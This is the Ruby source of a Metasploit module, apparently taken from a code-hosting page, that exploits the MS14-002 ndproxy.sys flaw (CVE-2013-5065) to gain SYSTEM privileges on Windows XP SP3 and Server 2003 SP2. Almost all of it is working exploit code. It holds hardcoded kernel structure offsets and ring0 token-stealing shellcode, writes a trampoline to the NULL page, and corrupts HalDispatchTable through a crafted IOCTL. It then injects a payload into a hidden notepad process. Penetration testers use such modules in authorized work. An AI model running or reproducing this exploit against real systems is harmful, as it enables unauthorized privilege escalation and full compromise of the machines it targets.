298 lines
11 KiB
Ruby
298 lines
11 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core/exploit/local/windows_kernel'
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = AverageRanking
|
|
|
|
include Msf::Exploit::Local::WindowsKernel
|
|
include Msf::Post::File
|
|
include Msf::Post::Windows::Priv
|
|
include Msf::Post::Windows::Process
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info, {
|
|
'Name' => 'MS14-002 Microsoft Windows ndproxy.sys Local Privilege Escalation',
|
|
'Description' => %q(
|
|
This module exploits a flaw in the ndproxy.sys driver on Windows XP SP3 and Windows 2003
|
|
SP2 systems, exploited in the wild in November, 2013. The vulnerability exists while
|
|
processing an IO Control Code 0x8fff23c8 or 0x8fff23cc, where user provided input is used
|
|
to access an array unsafely, and the value is used to perform a call, leading to a NULL
|
|
pointer dereference which is exploitable on both Windows XP and Windows 2003 systems. This
|
|
module has been tested successfully on Windows XP SP3 and Windows 2003 SP2. In order to
|
|
work the service "Routing and Remote Access" must be running on the target system.
|
|
),
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Unknown', # Vulnerability discovery
|
|
'ryujin', # python PoC
|
|
'Shahin Ramezany', # C PoC
|
|
'juan vazquez' # MSF module
|
|
],
|
|
'Arch' => ARCH_X86,
|
|
'Platform' => 'win',
|
|
'Payload' =>
|
|
{
|
|
'Space' => 4096,
|
|
'DisableNops' => true
|
|
},
|
|
'SessionTypes' => ['meterpreter'],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread'
|
|
},
|
|
'Targets' =>
|
|
[
|
|
['Automatic', {}],
|
|
['Windows XP SP3',
|
|
{
|
|
'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates
|
|
'_KPROCESS' => "\x44", # Offset to _KPROCESS from a _ETHREAD struct
|
|
'_TOKEN' => "\xc8", # Offset to TOKEN from the _EPROCESS struct
|
|
'_UPID' => "\x84", # Offset to UniqueProcessId FROM the _EPROCESS struct
|
|
'_APLINKS' => "\x88" # Offset to ActiveProcessLinks _EPROCESS struct
|
|
}
|
|
],
|
|
['Windows Server 2003 SP2',
|
|
{
|
|
'HaliQuerySystemInfo' => 0x1fa1e,
|
|
'_KPROCESS' => "\x38",
|
|
'_TOKEN' => "\xd8",
|
|
'_UPID' => "\x94",
|
|
'_APLINKS' => "\x98"
|
|
}
|
|
]
|
|
],
|
|
'References' =>
|
|
[
|
|
%w(CVE 2013-5065),
|
|
%w(MSB MS14-002),
|
|
%w(OSVDB 100368),
|
|
%w(BID 63971),
|
|
%w(EDB 30014),
|
|
%w(URL http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/),
|
|
%w(URL http://technet.microsoft.com/en-us/security/advisory/2914486),
|
|
%w(URL http://www.secniu.com/blog/?p=53),
|
|
%w(URL http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html),
|
|
%w(URL http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html)
|
|
],
|
|
'DisclosureDate' => 'Nov 27 2013',
|
|
'DefaultTarget' => 0
|
|
}))
|
|
end
|
|
|
|
def ring0_shellcode(t)
|
|
restore_ptrs = "\x31\xc0" # xor eax, eax
|
|
restore_ptrs << "\xb8" + [@addresses['HaliQuerySystemInfo']].pack('V') # mov eax, offset hal!HaliQuerySystemInformation
|
|
restore_ptrs << "\xa3" + [@addresses['halDispatchTable'] + 4].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax
|
|
|
|
ring0_shellcode = restore_ptrs + token_stealing_shellcode(t)
|
|
ring0_shellcode
|
|
end
|
|
|
|
def fill_memory(proc, address, length, content)
|
|
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [address].pack('V'), nil, [length].pack('V'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE')
|
|
unless proc.memory.writable?(address)
|
|
vprint_error('Failed to allocate memory')
|
|
return nil
|
|
end
|
|
|
|
vprint_good("#{address} is now writable")
|
|
|
|
result = proc.memory.write(address, content)
|
|
|
|
if result.nil?
|
|
vprint_error('Failed to write contents to memory')
|
|
return nil
|
|
else
|
|
vprint_good("Contents successfully written to 0x#{address.to_s(16)}")
|
|
end
|
|
|
|
address
|
|
end
|
|
|
|
def create_proc
|
|
windir = session.sys.config.getenv('windir')
|
|
cmd = "#{windir}\\System32\\notepad.exe"
|
|
# run hidden
|
|
begin
|
|
proc = session.sys.process.execute(cmd, nil, 'Hidden' => true)
|
|
rescue Rex::Post::Meterpreter::RequestError
|
|
# when running from the Adobe Reader sandbox:
|
|
# Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Access is denied.
|
|
return nil
|
|
end
|
|
|
|
proc.pid
|
|
end
|
|
|
|
def disclose_addresses(t)
|
|
addresses = {}
|
|
|
|
hal_dispatch_table = find_haldispatchtable
|
|
return nil if hal_dispatch_table.nil?
|
|
addresses['halDispatchTable'] = hal_dispatch_table
|
|
vprint_good("HalDispatchTable found at 0x#{addresses['halDispatchTable'].to_s(16)}")
|
|
|
|
vprint_status('Getting the hal.dll base address...')
|
|
hal_info = find_sys_base('hal.dll')
|
|
if hal_info.nil?
|
|
vprint_error('Failed to disclose hal.dll base address')
|
|
return nil
|
|
end
|
|
hal_base = hal_info[0]
|
|
vprint_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16)}")
|
|
|
|
hali_query_system_information = hal_base + t['HaliQuerySystemInfo']
|
|
addresses['HaliQuerySystemInfo'] = hali_query_system_information
|
|
|
|
vprint_good("HaliQuerySystemInfo address disclosed at 0x#{addresses['HaliQuerySystemInfo'].to_s(16)}")
|
|
addresses
|
|
end
|
|
|
|
def check
|
|
if sysinfo['Architecture'] == ARCH_X64
|
|
return Exploit::CheckCode::Detected
|
|
end
|
|
|
|
handle = open_device('\\\\.\\NDProxy', 0x0, 0x0, 0x3)
|
|
return Exploit::CheckCode::Safe if handle.nil?
|
|
|
|
session.railgun.kernel32.CloseHandle(handle)
|
|
|
|
os = sysinfo['OS']
|
|
case os
|
|
when /windows xp.*service pack 3/i
|
|
return Exploit::CheckCode::Appears
|
|
when /(2003|\.net server).*service pack 2/i
|
|
return Exploit::CheckCode::Appears
|
|
when /windows xp/i
|
|
return Exploit::CheckCode::Detected
|
|
when /(2003|\.net server)/i
|
|
return Exploit::CheckCode::Detected
|
|
else
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
if sysinfo['Architecture'] == ARCH_X64
|
|
fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported')
|
|
end
|
|
|
|
my_target = nil
|
|
if target.name =~ /Automatic/
|
|
print_status('Detecting the target system...')
|
|
os = sysinfo['OS']
|
|
if os =~ /windows xp.*service pack 3/i
|
|
my_target = targets[1]
|
|
print_status("Running against #{my_target.name}")
|
|
elsif (os =~ /2003/) && (os =~ /service pack 2/i)
|
|
my_target = targets[2]
|
|
print_status("Running against #{my_target.name}")
|
|
elsif (os =~ /\.net server/i) && (os =~ /service pack 2/i)
|
|
my_target = targets[2]
|
|
print_status("Running against #{my_target.name}")
|
|
end
|
|
else
|
|
my_target = target
|
|
end
|
|
|
|
if my_target.nil?
|
|
fail_with(Failure::NoTarget, 'Remote system not detected as target, select the target manually')
|
|
end
|
|
|
|
print_status('Checking device...')
|
|
handle = open_device('\\\\.\\NDProxy', 0x0, 0x0, 0x3)
|
|
if handle.nil?
|
|
fail_with(Failure::NoTarget, '\\\\.\\NDProxy device not found')
|
|
else
|
|
print_good('\\\\.\\NDProxy found!')
|
|
end
|
|
|
|
print_status('Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...')
|
|
@addresses = disclose_addresses(my_target)
|
|
if @addresses.nil?
|
|
session.railgun.kernel32.CloseHandle(handle)
|
|
fail_with(Failure::Unknown, 'Failed to disclose necessary addresses for exploitation, aborting.')
|
|
else
|
|
print_good('Addresses successfully disclosed.')
|
|
end
|
|
|
|
print_status('Storing the kernel stager in memory...')
|
|
this_proc = session.sys.process.open
|
|
kernel_shell = ring0_shellcode(my_target)
|
|
kernel_shell_address = 0x1000
|
|
result = fill_memory(this_proc, kernel_shell_address, kernel_shell.length, kernel_shell)
|
|
if result.nil?
|
|
session.railgun.kernel32.CloseHandle(handle)
|
|
fail_with(Failure::Unknown, 'Error while storing the kernel stager shellcode on memory')
|
|
else
|
|
print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")
|
|
end
|
|
|
|
print_status('Storing the trampoline to the kernel stager on memory...')
|
|
trampoline = "\x90" * 0x38 # nops
|
|
trampoline << "\x68" # push opcode
|
|
trampoline << [0x1000].pack('V') # address to push
|
|
trampoline << "\xc3" # ret
|
|
trampoline_addr = 0x1
|
|
result = fill_memory(this_proc, trampoline_addr, trampoline.length, trampoline)
|
|
if result.nil?
|
|
session.railgun.kernel32.CloseHandle(handle)
|
|
fail_with(Failure::Unknown, 'Error while storing trampoline on memory')
|
|
else
|
|
print_good("Trampoline successfully stored at 0x#{trampoline_addr.to_s(16)}")
|
|
end
|
|
|
|
print_status('Storing the IO Control buffer on memory...')
|
|
buffer = "\x00" * 1024
|
|
buffer[20, 4] = [0x7030125].pack('V') # In order to trigger the vulnerable call
|
|
buffer[28, 4] = [0x34].pack('V') # In order to trigger the vulnerable call
|
|
buffer_addr = 0x0d0d0000
|
|
result = fill_memory(this_proc, buffer_addr, buffer.length, buffer)
|
|
if result.nil?
|
|
session.railgun.kernel32.CloseHandle(handle)
|
|
fail_with(Failure::Unknown, 'Error while storing the IO Control buffer on memory')
|
|
else
|
|
print_good("IO Control buffer successfully stored at 0x#{buffer_addr.to_s(16)}")
|
|
end
|
|
|
|
print_status('Triggering the vulnerability, corrupting the HalDispatchTable...')
|
|
magic_ioctl = 0x8fff23c8
|
|
# Values taken from the exploit in the wild, see references
|
|
session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, buffer_addr, buffer.length, buffer_addr, 0x80)
|
|
|
|
session.railgun.kernel32.CloseHandle(handle)
|
|
|
|
print_status('Executing the Kernel Stager throw NtQueryIntervalProfile()...')
|
|
session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
|
|
|
|
print_status('Checking privileges after exploitation...')
|
|
|
|
unless is_system?
|
|
fail_with(Failure::Unknown, 'The exploitation was not successful')
|
|
end
|
|
|
|
p = payload.encoded
|
|
print_good('Exploitation successful! Creating a new process and launching payload...')
|
|
new_pid = create_proc
|
|
|
|
if new_pid.nil?
|
|
print_warning('Unable to create a new process, maybe you are in a sandbox. If the current process has been elevated try to migrate before executing a new process...')
|
|
return
|
|
end
|
|
|
|
print_status("Injecting #{p.length} bytes into #{new_pid} memory and executing it...")
|
|
if execute_shellcode(p, nil, new_pid)
|
|
print_good('Enjoy')
|
|
else
|
|
fail_with(Failure::Unknown, 'Error while executing the payload')
|
|
end
|
|
end
|
|
end
|